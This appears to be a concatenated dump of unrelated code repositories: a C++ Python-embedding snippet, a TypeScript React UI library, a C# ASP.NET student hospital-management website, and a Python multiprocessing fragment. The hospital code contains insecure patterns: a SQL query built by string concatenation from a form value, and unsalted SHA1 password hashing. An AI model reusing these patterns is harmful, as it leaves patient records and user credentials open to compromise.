/// call read data
PyObject* pFunction;
pFunction=PyObject_GetAttrString(pModule,(char*)"readData");
PyObject* pArgs=PyTuple_Pack(1,PyUnicode_FromString((char*)"pathTo/Nodesprofil.csv"));
std::cout << "Result of python script" << "\n";
if((pFunction!=NULL)&&(pArgs!=NULL))
{
PyObject* pResult = PyObject_CallObject(pFunction, pArgs);
if(pResult!=NULL)
{
//return result of python function as pyObject
std::cout << "python call is proceeding with sucess ..." << "\n";
}
}
}
//double end=simTime().dbl();
//scriptExecutionTime.record(end-start);
// Clean up
cleanPythonObjects(pModule);
cleanPythonObjects(pName);
PyGILState_Release(s);
}
} //namespace
<file_sep>/CallPython.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef __ARTERY_ARTERY_IDE_CALLPYTHON_H_
#define __ARTERY_ARTERY_IDE_CALLPYTHON_H_
#include <Python.h>
#include <iostream>
namespace artery {
/**
* TODO - Generated class
*/
class CallPython
{
void predictDecision();
void initializePython();
void cleanPythonObjects(PyObject*);
friend class Decider;
friend class AutonomousDecider;
// friend class DeciderWithCallPython;
};
} //namespace
#endif
| cff46a6c7b431329d5c4700c7797221d03f04ce5 | [
"C++"
] | 2 | C++ | MounaKaroui/EmbeddingPythonCpp | 4cda8c8d119cfb86676994cf93ea24418ef9147c | 3498b5c778dbed36ff5e16a07aca4a4b27fc12b1 |
refs/heads/master | <repo_name>cuarti/react-blocks<file_sep>/lib/components/util/index.ts
export * from './FontIcon';
<file_sep>/test/stories/index.ts
import './scaffolding';
import './layout';
import './buttons';
import './inputs';
import './form';
import './util';
<file_sep>/lib/components/index.ts
export * from './layout';
export * from './buttons';
export * from './inputs';
export * from './form';
export * from './util';
<file_sep>/lib/util/Style.ts
import {CSSProperties} from 'react';
/**
* Utility module to work with classnames and styles
*/
export module Style {
/**
* Merge class names in a string
*
* @param classNames List of class names
* @return Concatenated class names
*/
export function classNames(...classNames: Array<string | Record<string, boolean>>): string {
return classNames.reduce((r, v) => {
if(typeof v === 'object') {
// TODO: Abstract in @agama/types object filter iterator
return r.concat(Object.keys(v).filter(k => !!k && v[k]));
}
return r.concat(v);
// TODO: Abstract in @agama/types array uniques modifier
}, []).filter((v, i, a) => v && a.slice(0, i).indexOf(v) < 0).join(' ');
}
/**
* Merge list of css properties
*
* @param styles List of css properties
* @return Merged css properties
*/
export function merge(...styles: CSSProperties[]): CSSProperties {
return styles.reduce((r, s) => {
for(let i in s) {
if(s.hasOwnProperty(i)) {
r[i] = s[i];
}
}
return r;
}, {});
}
}
<file_sep>/lib/components/layout/Col/index.ts
export * from './Col';
<file_sep>/lib/util/StyledProps.ts
import {CSSProperties} from 'react';
import {TReactCSSThemrTheme} from 'react-css-themr';
export interface StyledProps<T extends TReactCSSThemrTheme = TReactCSSThemrTheme> {
style?: CSSProperties;
className?: string;
theme?: T;
}
<file_sep>/.build-config/webpack/rules/index.ts
export * from './script';
export * from './style';
export * from './font';
<file_sep>/test/stories/layout/index.ts
import './Container';
import './Row';
import './Col';
<file_sep>/test/stories/buttons/index.ts
import './Button';
<file_sep>/test/stories/form/index.ts
import './Form';
<file_sep>/README.md
# React Blocks
UI library in React
<file_sep>/lib/util/ReactParent.ts
import {ReactNode} from 'react';
// TODO: Mirar si hay una interficie propia de react para definir esto
// TODO: Es necesario? Si pueda definir el tipo de hijo si
export interface ReactParent {
children?: ReactNode;
}
// export interface ReactParent<T = ReactNode> {
// children: T;
// }
<file_sep>/test/specs/util/Style.ts
import {Style} from '../../../lib';
test('Style.classNames', () => {
expect(Style.classNames('foo', 'bar')).toEqual('foo bar');
expect(Style.classNames('foo bar', 'baz')).toEqual('foo bar baz');
expect(Style.classNames({foo: true, bar: false, baz: true})).toEqual('foo baz');
expect(Style.classNames('foo', 'bar', {baz: true, foobar: false})).toEqual('foo bar baz');
});
test('Style.merge', () => {
expect(Style.merge({width: 100}, {height: 50})).toEqual({width: 100, height: 50});
expect(Style.merge({color: 'red'}, {color: 'blue'})).toEqual({color: 'blue'});
});
<file_sep>/test/stories/inputs/index.ts
import './Input';
<file_sep>/.build-config/webpack/rules/font.ts
import {fileLoader} from '../loaders';
export const fontRule = {
test: /\.(ttf|eot|svg|woff(2)?)(\?[a-z0-9=&.]+)?$/,
loaders: [
fileLoader
]
};
<file_sep>/test/stories/util/index.ts
import './FontIcon';
<file_sep>/.build-config/webpack/loaders/file.ts
export const fileLoader = {
loader: 'file-loader'
};
| 0946307e935263eae950b91b69250491d397e2f2 | [
"Markdown",
"TypeScript"
] | 17 | TypeScript | cuarti/react-blocks | 3e3b1622e6c96fa5bd3078d0b5aa729d891d1de2 | e136e8da0e1d39a176129b08569434ea0acb4098 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using Assignment2.models;
namespace Assignment2
{
public partial class BedList : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void lblStatus_DataBinding(object sender, EventArgs e)
{
Label statusValue = sender as Label;
BedView bedList = GetDataItem() as BedView;
statusValue.ForeColor = System.Drawing.Color.Black;
if (bedList.Occupied == true)
{
statusValue.Text = "Yes";
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace Assignment2
{
public partial class Assignment2 : System.Web.UI.MasterPage
{
protected void Page_Init(object sender, EventArgs e)
{
Page page1 = Page as Login;
if (page1 == null)
{
// if the user is not currently logged in
if (Session["user"] == null)
{
// check if the unlogged in user is at the default, login or sitemap pages
if (!HttpContext.Current.Request.Path.EndsWith("Default.aspx", StringComparison.InvariantCultureIgnoreCase) &&
!HttpContext.Current.Request.Path.EndsWith("Login.aspx", StringComparison.InvariantCultureIgnoreCase) &&
!HttpContext.Current.Request.Path.EndsWith("Sitemap.aspx", StringComparison.InvariantCultureIgnoreCase))
{
// redirect the user to the login page
Response.Redirect("Login.aspx?redirected=" + this.Request.Url.LocalPath, true);
}
}
}
if (Request.QueryString["login"] == "no")
{
Session.Clear();
Response.Redirect("Default.aspx");
}
}
protected void Page_Load(object sender, EventArgs e)
{
if(Session["user"] != null)
{
lblUserStatus.Text = "Logged in as " + Session["user"].ToString();
lnkLogin.Visible = false;
lnkLogout.Visible = true;
}
else
{
lblUserStatus.Text = "You are not currently logged in.";
lnkLogin.Visible = true;
lnkLogout.Visible = false;
// hide all navigation bar links except for home
lnkPatient.Visible = false;
lnkRegPatient.Visible = false;
lnkVisit.Visible = false;
lnkDoctors.Visible = false;
lnkBed.Visible = false;
lnkRegUser.Visible = false;
lnkDoctorPatientInfo.Visible = false;
lnkDischargePatient.Visible = false;
lnkDatabaseTables.Visible = false;
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using Assignment2.models;
namespace Assignment2.classes
{
public class LinqQueries
{
private static HospitalEntities HospitalDB = new HospitalEntities();
protected static void getAvailableBeds(string wardType)
{
using(HospitalDB)
{
/*
List<string> freeBeds = HospitalDB.Beds
.Where(b => b.Ward_Type == wardType)
.Select(b => b.Bed_Number).ToString();
freeBeds.*/
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using Assignment2.models;
namespace Assignment2
{
public partial class DoctorPatientInfo : System.Web.UI.Page
{
HospitalEntities HospitalDB = new HospitalEntities();
protected void Page_Load(object sender, EventArgs e)
{
// enable appropriate controls if the assign to bed checkbox is checked
if (chkAssignToBed.Checked)
{
ddlWard.Enabled = true;
ddlBedNumber.Enabled = true;
}
else
{
ddlWard.Enabled = false;
ddlBedNumber.Enabled = false;
}
// assign appropriate data to the bed position drop down
sdsBedsAvailable.SelectCommand = "SELECT [Bed Number] AS Bed_Number FROM [Bed]"
+" Where [Ward Type] = '"+ddlWard.Text+"'";
}
protected void btnAddVisit_Click(object sender, EventArgs e)
{
// make a new sql connection connecting to the hostpital databse
SqlConnection hospitalDB =
new SqlConnection("server=localhost;Integrated Security=True;database=Assignment 2 - Hospital");
// create an sql command connecting to the stored preocdure
SqlCommand VisitCommand = new SqlCommand("AddVisit", hospitalDB);
// tell the system that the command type is a stored procedure
VisitCommand.CommandType = CommandType.StoredProcedure;
// link the command to the sql connection object
VisitCommand.Connection = hospitalDB;
hospitalDB.Open(); // open the connection
// get IDs from table using names
string doctorID = getDoctorID();
string patientID = getPatientID();
VisitCommand.Parameters.AddWithValue("@DoctorID", doctorID);
VisitCommand.Parameters.AddWithValue("@PatientID", patientID);
// check if the assign to bed checkbox is checked
if(chkAssignToBed.Checked)
{
int bedID = getBedID(false);
// add the parameters for the visit table
VisitCommand.Parameters.AddWithValue("@InPatient", true);
VisitCommand.Parameters.AddWithValue("@BedID", bedID);
VisitCommand.Parameters.AddWithValue("@DateOfDischarge", DBNull.Value);
// set up query for the assign to bed procedure
SqlCommand BedCommand = new SqlCommand("AssignToBed", hospitalDB);
BedCommand.CommandType = CommandType.StoredProcedure;
BedCommand.Parameters.AddWithValue("@BedID", bedID);
BedCommand.Parameters.AddWithValue("@OccupiedID", patientID);
BedCommand.ExecuteNonQuery(); // execute the query
}
else
{
int bedID = getBedID(true);
VisitCommand.Parameters.AddWithValue("@InPatient", true);
VisitCommand.Parameters.AddWithValue("@BedID", bedID);
if(bedID == 0)
VisitCommand.Parameters.AddWithValue("@DateOfDischarge", DateTime.Now);
else
VisitCommand.Parameters.AddWithValue("@DateOfDischarge", DBNull.Value);
}
if(chkAddVisit.Checked)
{
// add The current date and time to date of visit field
VisitCommand.Parameters.AddWithValue("@DateOfVisit", DateTime.Now);
// Add text in the symptoms, disease and treatment fields to the database
// if they are not null
if (txtSymptoms.Text != null)
VisitCommand.Parameters.AddWithValue("@Symptoms", txtSymptoms.Text);
if (txtSymptoms.Text != null)
VisitCommand.Parameters.AddWithValue("@Disease", txtDisease.Text);
if (txtSymptoms.Text != null)
VisitCommand.Parameters.AddWithValue("@Treatment", txtTreatment.Text);
try
{
VisitCommand.ExecuteNonQuery(); // execute the query
// disable all the controls on the form
disableAll();
lnkAddAnother.Visible = true;
}
catch (SqlException)
{
lblConfirmation.Text = "Error: An Invalid doctor or patient name was entered.";
}
}
btnAddVisit.Visible = false;
// make the confiramtion image, label and link visitble
imgInfo.Visible = true;
lblConfirmation.Visible = true;
//btnAddAnother.Visible = true;
hospitalDB.Close(); // close the connection
}
// get the doctorID using doctor name
private string getDoctorID()
{
return HospitalDB.Doctors
.Where(at => at.Name == txtDoctor.Text)
.Select(at => at.DoctorID)
.SingleOrDefault()
.ToString();
}
// get the patientID using patient name
private string getPatientID()
{
return HospitalDB.Patients
.Where(at => at.Name == txtPatient.Text)
.Select(at => at.PatientID)
.SingleOrDefault()
.ToString();
}
// get the patientID using patient name
private int getBedID(bool currentlyIn)
{
if (!currentlyIn)
{
int bedNumber = Int32.Parse(ddlBedNumber.Text);
return HospitalDB.Beds
.Where(at => at.Ward_Type == ddlWard.Text
&& at.Bed_Number == bedNumber)
.Select(at => at.BedID)
.SingleOrDefault();
}
else
{
int patientID = Int32.Parse(getPatientID());
return HospitalDB.Beds
.Where(at => at.OccupiedID == patientID)
.Select(at => at.BedID)
.SingleOrDefault();
}
}
private void disableAll()
{
ddlBedNumber.Enabled = false;
txtDoctor.Enabled = false;
txtPatient.Enabled = false;
ddlWard.Enabled = false;
chkAssignToBed.Enabled = false;
txtDisease.Enabled = false;
txtSymptoms.Enabled = false;
txtTreatment.Enabled = false;
btnAddVisit.Enabled = false;
}
// method used for Ajax autcomplete Extender in the doctor name textbox
[System.Web.Script.Services.ScriptMethod()]
[System.Web.Services.WebMethod]
public static List<string> SearchDoctor(string prefixText, int count)
{
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = ConfigurationManager
.ConnectionStrings["HospitalConnection"].ConnectionString;
using (SqlCommand cmd = new SqlCommand())
{
cmd.CommandText = "Select Name from Doctor " +
"Where Name like @SearchText + '%' " +
"OR Name like '%, ' + @SearchText + '%'";
cmd.Parameters.AddWithValue("@SearchText", prefixText);
cmd.Connection = conn;
conn.Open();
List<string> doctorNames = new List<string>();
using (SqlDataReader sdr = cmd.ExecuteReader())
{
while (sdr.Read())
{
doctorNames.Add(sdr["Name"].ToString());
}
}
conn.Close();
return doctorNames;
}
}
} // end of method
// method used for Ajax autcomplete Extender in the patient name textbox
[System.Web.Script.Services.ScriptMethod()]
[System.Web.Services.WebMethod]
public static List<string> SearchPatient(string prefixText, int count)
{
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = ConfigurationManager
.ConnectionStrings["HospitalConnection"].ConnectionString;
using (SqlCommand cmd = new SqlCommand())
{
cmd.CommandText = "select Name from Patient " +
"Where Name like @SearchText + '%' " +
"OR Name like '%, ' + @SearchText + '%'";
cmd.Parameters.AddWithValue("@SearchText", prefixText);
cmd.Connection = conn;
conn.Open();
List<string> patientNames = new List<string>();
using (SqlDataReader sdr = cmd.ExecuteReader())
{
while (sdr.Read())
{
patientNames.Add(sdr["Name"].ToString());
}
}
conn.Close();
return patientNames;
}
}
}
protected void btnAddAnother_Click(object sender, EventArgs e)
{
txtPatient.Text = String.Empty;
txtSymptoms.Text = String.Empty;
txtDisease.Text = String.Empty;
txtTreatment.Text = String.Empty;
} // end of method
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
using System.Configuration;
using Assignment2.models;
namespace Assignment2
{
public partial class VisitHistory : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (txtDoctor.Text != "")
{
using (HospitalEntities HospitalDB = new HospitalEntities())
{
IQueryable<VisitsView> visitsFound = HospitalDB.VisitsViews
.Where(v => v.Doctor_Name == txtDoctor.Text);
GridViewVisitHistory.DataSource = visitsFound.ToList();
GridViewVisitHistory.DataBind();
}
}
}
protected void btnUpdate_Click(object sender, EventArgs e)
{
}
protected void lblStatus_DataBinding(object sender, EventArgs e)
{
Label statusValue = sender as Label;
VisitsView visit = GetDataItem() as VisitsView;
statusValue.ForeColor = System.Drawing.Color.Black;
if (visit.In_Patient == true)
{
statusValue.Text = "In";
}
else
{
statusValue.Text = "Out";
}
}
// method used for Ajax autcomplete Extender
[System.Web.Script.Services.ScriptMethod()]
[System.Web.Services.WebMethod]
public static List<string> SearchDoctor(string prefixText, int count)
{
using (SqlConnection conn = new SqlConnection())
{
conn.ConnectionString = ConfigurationManager
.ConnectionStrings["HospitalConnection"].ConnectionString;
using (SqlCommand cmd = new SqlCommand())
{
cmd.CommandText = "select Name from Doctor " +
"Where Name like @SearchText + '%' " +
"OR Name like '%, ' + @SearchText + '%'";
cmd.Parameters.AddWithValue("@SearchText", prefixText);
cmd.Connection = conn;
conn.Open();
List<string> doctorNames = new List<string>();
using (SqlDataReader sdr = cmd.ExecuteReader())
{
while (sdr.Read())
{
doctorNames.Add(sdr["Name"].ToString());
}
}
conn.Close();
return doctorNames;
}
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace Assignment2
{
public partial class DoctorsList : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
sdsDoctors.SelectCommand = "SELECT [Name], [Doctor Type], [Address], [Home Phone], [Mobile] FROM [Doctor] " +
"Order By [Doctor Type]";
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using Assignment2.models;
namespace Assignment2
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if(Request.QueryString["login"] == "no")
{
// end the session logging out the user
Session.Clear();
Response.Redirect("default.aspx", true);
}
/*
if (Request.QueryString["login"] == "yes")
lblDeniedAccess.Visible = true;
else
lblDeniedAccess.Visible = false;*/
}
protected void btnLogin_Click(object sender, EventArgs e)
{
// create new instance of the Hospital Entities
HospitalEntities HospitalDB = new HospitalEntities();
string passwordHashed = HashAlgorithms.GetSHA1Hash(txtPassword.Text);
using(HospitalDB)
{
User loginUser = HospitalDB.Users.SingleOrDefault(u => u.Username == txtUsername.Text &&
u.Password == <PASSWORD>);
if(loginUser != null)
{
Session["user"] = loginUser.Username;
if (Request.QueryString["redirected"] != null)
Server.Transfer(Request.QueryString["redirected"]);
else
Server.Transfer("default.aspx");
}
else
{
lblLoginFail.Visible = true;
}
}
}
}
}<file_sep># Green-Park-Hospital
An ASP.Net website I made while studying at RMIT
# How to use
## Software Requirements
To run this website you will need to have the following tools installed on you pc
* Visual Studio (2015 or later with ASP.NET C# installed)
* Microsoft SQL Server Mangament Studio
To open the solution in visual studio open Assignment2.sln.
To view the website run this project in the web browser via visual studio using IIS Express.
## Resotring Enity Framework 6.1
This project uses a package known as 'EntityFramework.6.1.0'. To greatly reduce the file size and total number of files in the repository it has been removed but can be restored inside visual studio.
When running this project in the browser for the first time you may get a message stating that it is restoring the nuget packages.
If this is the case the solution should open after a moment while waiting for this to be restored.
## Resotring Ajax
This project also uses the package 'AjaxMin.5.11.5295.12309' which has not been included in this repository to reduce the file size and total number of files. Please install this.
## Creating the database
To create the database on your computer please create a database titled "Assignment 2 - Hospital" and run the 'hospital-database.sql' file in SQL Management Studio.
## Login Details
To Login to the website please use the following login details
Username:Paul
Password:<PASSWORD>
# References
* Code in HashedData.cs from http://snipplr.com/view/70294/ and
http://blogs.msdn.com/b/csharpfaq/archive/2006/10/09/how-do-i-calculate-a-md5-hash-from-a-string_3f00_.aspx
* Ajax autocomplete tutorial from http://aspsnippets.com/Articles/AJAX-AutoCompleteExtender-Example-in-ASPNet.aspx
* Jquery credit card validator code from Collaborate chat 10 <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using Assignment2.models;
namespace Assignment2
{
public partial class PatientVisit : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
using (HospitalEntities HospitalDB = new HospitalEntities())
{
GridViewVisits.DataSource = HospitalDB.VisitsViews.ToList();
GridViewVisits.DataBind();
}
}
protected void btnSearch_Click(object sender, EventArgs e)
{
DateTime? DateStart, DateEnd;
try
{
DateStart = DateTime.ParseExact(txtDateStart.Text, "dd/MM/yyyy", null);
}
catch(FormatException)
{
DateStart = null;
}
try
{
DateEnd = DateTime.ParseExact(txtDateEnd.Text, "dd/MM/yyyy", null);
}
catch (FormatException)
{
DateEnd = null;
}
// use the hospital entites to get date
using (HospitalEntities HospitalDB = new HospitalEntities())
{
// reference the VisitsView view in the databse
IQueryable<VisitsView> visits = HospitalDB.VisitsViews;
// if there is text in the name text box
if (!String.IsNullOrWhiteSpace(txtName.Text))
{
// return all names that contain the text in the texbox
visits = visits.Where(visit => visit.Patient_Name.Contains(txtName.Text));
}
if (rblDateType.SelectedIndex == 0) // if visit is selected
{
// display appropriate records if start date or end date have a value
if (DateStart.HasValue)
{
visits = visits.Where(visit => visit.Date_Of_Visit >= DateStart.Value);
}
if (DateEnd.HasValue)
{
visits = visits.Where(visit => visit.Date_Of_Visit <= DateEnd.Value);
}
}
else if (rblDateType.SelectedIndex == 1) // if discharge is selected
{
// display appropriate records if start date or end date have a value
if (DateStart.HasValue)
{
visits = visits.Where(visit => visit.Date_Of_Discharge >= DateStart.Value);
}
if (DateEnd.HasValue)
{
visits = visits.Where(visit => visit.Date_Of_Discharge <= DateEnd.Value);
}
}
// update the data in the gridview with the matches that were found
GridViewVisits.DataSource = visits.ToList();
GridViewVisits.DataBind();
} // end using
} // end of method
protected void lblStatus_DataBinding(object sender, EventArgs e)
{
Label statusValue = sender as Label;
VisitsView visit = GetDataItem() as VisitsView;
statusValue.ForeColor = System.Drawing.Color.Black;
if(visit.In_Patient == true)
{
statusValue.Text = "In";
}
else
{
statusValue.Text = "Out";
}
}
protected void GridViewVisits_PageIndexChanging(object sender, GridViewPageEventArgs e)
{
GridViewVisits.PageIndex = e.NewPageIndex;
GridViewVisits.DataBind();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Text;
using System.Security.Cryptography;
namespace Assignment2
{
public class HashAlgorithms
{
public static string GetSHA1Hash(string input)
{
HashAlgorithm algorithm = SHA1.Create(); // SHA1.Create()
byte[] inputBytes = Encoding.UTF8.GetBytes(input);
byte[] hash = algorithm.ComputeHash(inputBytes);
StringBuilder sb = new StringBuilder();
foreach (byte b in algorithm.ComputeHash(inputBytes))
sb.Append(b.ToString("X2"));
return sb.ToString().ToLower();
}
public static string GetMD5Hash(string input)
{
// step 1, calculate MD5 hash from input
MD5 md5 = MD5.Create();
byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes(input);
byte[] hash = md5.ComputeHash(inputBytes);
// step 2, convert byte array to hex string
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hash.Length; i++)
{
sb.Append(hash[i].ToString("X2"));
}
return sb.ToString();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
// additional namespaces
using System.Data;
using System.Data.SqlClient;
using System.Web.Configuration;
namespace Assignment2
{
public partial class RegUser2 : System.Web.UI.Page
{
// assign connection strin to sql connection
SqlConnection connection = new SqlConnection(
WebConfigurationManager.ConnectionStrings["HospitalConnection"].ToString()
);
protected void Page_Load(object sender, EventArgs e)
{
}
// runs when confirm registration is clicked
protected void btnSubmit_Click(object sender, EventArgs e)
{
// validate the page when button is clicked
Page.Validate();
// if the information in teh page is valid, continue
if(Page.IsValid)
{
// create the user using information in textboxes
CreateUser(txtUserName.Text, txtPassword.Text, txtEmailAddress.Text, false);
}
}
// adds a user to the database
protected void CreateUser(string userName, string password, string emailAddress, bool isAdmin)
{
string passwordHashed = HashAlgorithms.GetSHA1Hash(password);
SqlCommand command = new SqlCommand("CreateNewUser", connection);
// add values using stored procedure
command.CommandType = CommandType.StoredProcedure;
command.Parameters.AddWithValue("@username", userName);
command.Parameters.AddWithValue("@password", <PASSWORD>);
command.Parameters.AddWithValue("@EmailAddress", emailAddress);
command.Parameters.AddWithValue("@isAdmin", isAdmin);
connection.Open();
// aattempt to execute the sql command
if(command.ExecuteNonQuery() == 0)
{
throw new ApplicationException();
}
connection.Close();
lblAccountCreated.Visible = true;
}
protected void UsernameValidator_ServerValidate(object source, ServerValidateEventArgs args)
{
List<string> users = GetUserNames();
args.IsValid = !users.Any(u => u.Equals(txtUserName.Text,
StringComparison.CurrentCultureIgnoreCase));
}
private List<string> GetUserNames()
{
List<string> usernames = new List<string>();
SqlCommand command = new SqlCommand("SELECT * FROM Users", connection);
//command.CommandType = CommandType.Text;
connection.Open();
SqlDataReader dataReader = command.ExecuteReader();
// while there are values left to read
while(dataReader.Read())
{
usernames.Add(dataReader["Username"].ToString());
}
connection.Close();
return usernames;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
using System.Configuration;
namespace Assignment2
{
public partial class Invoice : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Session["Name"] != null)
{
// set all the labels to equal to session variables
lblName.Text = Session["Name"].ToString();
lblWard.Text = Session["Ward Type"].ToString();
lblBedNumber.Text = Session["Bed Number"].ToString();
lblRatePerDay.Text = Session["Rate Per Day"].ToString();
lblDateIn.Text = Session["Date Assigned"].ToString();
lblDaysIn.Text = Session["Days In"].ToString();
lblTotalCost.Text = Session["Amount Payable"].ToString();
// set the date of discharge to the current date
lblDateOfDischarge.Text = DateTime.Now.ToString();
}
else
{
Response.Redirect("DischargePatient.aspx");
}
paymentConfirmation.Visible = false;
}
protected void btnConfirm_Click(object sender, EventArgs e)
{
paymentSection.Visible = false;
paymentConfirmation.Visible = true;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using Assignment2.models;
namespace Assignment2
{
public partial class DischargePatient : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void GridView1_SelectedIndexChanged(object sender, EventArgs e)
{
string value = GridViewDischargePatient.SelectedRow.ToString();
btnDischarge.Enabled = true;
}
protected void btnDischarge_Click(object sender, EventArgs e)
{
// pass all the data in the selected grid to session variables
Session["Name"] = GridViewDischargePatient.SelectedRow.Cells[1].Text;
Session["Ward Type"] = GridViewDischargePatient.SelectedRow.Cells[2].Text;
Session["Bed Number"] = GridViewDischargePatient.SelectedRow.Cells[3].Text;
Session["Rate Per Day"] = GridViewDischargePatient.SelectedRow.Cells[4].Text;
Session["Date Assigned"] = GridViewDischargePatient.SelectedRow.Cells[5].Text;
Session["Days In"] = GridViewDischargePatient.SelectedRow.Cells[6].Text;
Session["Amount Payable"] = GridViewDischargePatient.SelectedRow.Cells[7].Text;
try
{
// call method to return the bed id using the name
int bedID = getBedID();
// create a new sql connection
SqlConnection HospitalConnection = new SqlConnection();
// assign the connection string to the connection
HospitalConnection.ConnectionString = ConfigurationManager.ConnectionStrings["HospitalConnection"].ConnectionString;
SqlCommand command = new SqlCommand("DischargePatient", HospitalConnection);
command.CommandType = CommandType.StoredProcedure;
HospitalConnection.Open();
command.Parameters.AddWithValue("@BedId", bedID);
command.Parameters.AddWithValue("@DateOfDischarge", DateTime.Now);
command.ExecuteNonQuery();
HospitalConnection.Close();
Response.Redirect("Invoice.aspx");
}
catch(SqlException ex)
{
lblErrorMassage.Visible = true;
lblException.Text = ex.Message;
}
}
private int getBedID()
{
using (HospitalEntities HospitalDB = new HospitalEntities())
{
string wardType = GridViewDischargePatient.SelectedRow.Cells[2].Text;
int bedNumber = Int32.Parse(GridViewDischargePatient.SelectedRow.Cells[3].Text);
return HospitalDB.Beds
.Where(at => at.Ward_Type == wardType
&& at.Bed_Number == bedNumber)
.Select(at => at.BedID)
.SingleOrDefault();
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
// additonal namespaces
using System.Data;
using System.Data.SqlClient;
using System.Globalization;
using Assignment2.models;
namespace Assignment2
{
public partial class RegPatient : System.Web.UI.Page
{
private string name, address, phoneHome, phoneMobile, emergContactName, emergContactNumber;
private DateTime dateOfBirth;
protected void Page_Load(object sender, EventArgs e)
{
regConfirm.Visible = false;
}
protected void btnSubmit_Click(object sender, EventArgs e)
{
// create new sql connection
SqlConnection HospitalDB =
new SqlConnection("server=localhost;Integrated Security=True;database=Assignment 2 - Hospital");
updateTableVariables();
SqlCommand command = new SqlCommand("RegisterPatient", HospitalDB);
command.CommandType = CommandType.StoredProcedure;
// Add values to new record in Patient table
command.Parameters.AddWithValue("@Name", name);
command.Parameters.AddWithValue("@DateOfBirth", dateOfBirth);
command.Parameters.AddWithValue("@Address", address);
command.Parameters.AddWithValue("@NumberHome", phoneHome);
command.Parameters.AddWithValue("@NumberMobile", phoneMobile);
command.Parameters.AddWithValue("@EmergContactName", emergContactName);
command.Parameters.AddWithValue("@EmergContactNumber", emergContactNumber);
command.Parameters.AddWithValue("@DateOfRegistration", DateTime.Now);
// link the command to the sql connection object
command.Connection = HospitalDB;
HospitalDB.Open(); // open the connection
command.ExecuteNonQuery();
HospitalDB.Close(); // close the connection
// hide the registration form and show the confirmation message
regForm.Visible = false;
regConfirm.Visible = true;
}
protected void DateValidator_ServerValidate(object source, ServerValidateEventArgs args)
{
byte day, month;
short year;
try
{
day = Convert.ToByte(txtDay.Text);
month = Convert.ToByte(txtMonth.Text);
year = Convert.ToInt16(txtYear.Text);
// check that the day, month and year are all in a valid range
if (day < 1 || day > 31)
args.IsValid = false;
if (month < 1 || month > 12)
args.IsValid = false;
if (year < 0 || year > 9999)
args.IsValid = false;
// if a day in february chosen is greater than 29 or is greater than 28
// during a non-leap year
if ((month == 2 && day > 29) || (month == 2 && day > 28 && year % 4 != 0))
args.IsValid = false;
if (day == 31)
{
if (month == 4 || month == 6 || month == 9 || month == 11)
args.IsValid = false;
}
}
catch
{
args.IsValid = false;
}
}
private void updateTableVariables()
{
// add all the data in registration form to their appropriate variables
name = txtLastName.Text + ", " + txtFirstname.Text;
string dateString = txtYear.Text + '-' + txtMonth.Text + '-' + txtDay.Text;
dateOfBirth = Convert.ToDateTime(dateString);
address = txtAddress.Text + ", " + txtCity.Text + ' ' + txtRegion.Text + ' ' + txtPostCode.Text + ' ' +
CountryList.Text;
phoneHome = txtHomeNumber.Text;
phoneMobile = txtMobileNumber.Text;
emergContactName = txtEmergencyLastName.Text + ", " + txtEmergencyFirstName.Text;
emergContactNumber = txtEmergencyNumber.Text;
}
}
} | 69c9e7f0d159c3882a9dd8ff819018d55707fff2 | [
"Markdown",
"C#"
] | 14 | C# | king-paul/Green-Park-Hospital | bf80358a91600080eeacf89e68c77b1cb5969fa8 | 5ce97be37e605ad472df562a07d0551aed090046 |
refs/heads/master | <file_sep>from multiprocessing import Process
import os
def run_proc(name):
print('运行的子进程: %s(%s)' % (name,os.getppid()))
if __name__=='__main__':
print('Parent process %s.' % os.getppid())
p = Process(target=run_proc, args=('test',))
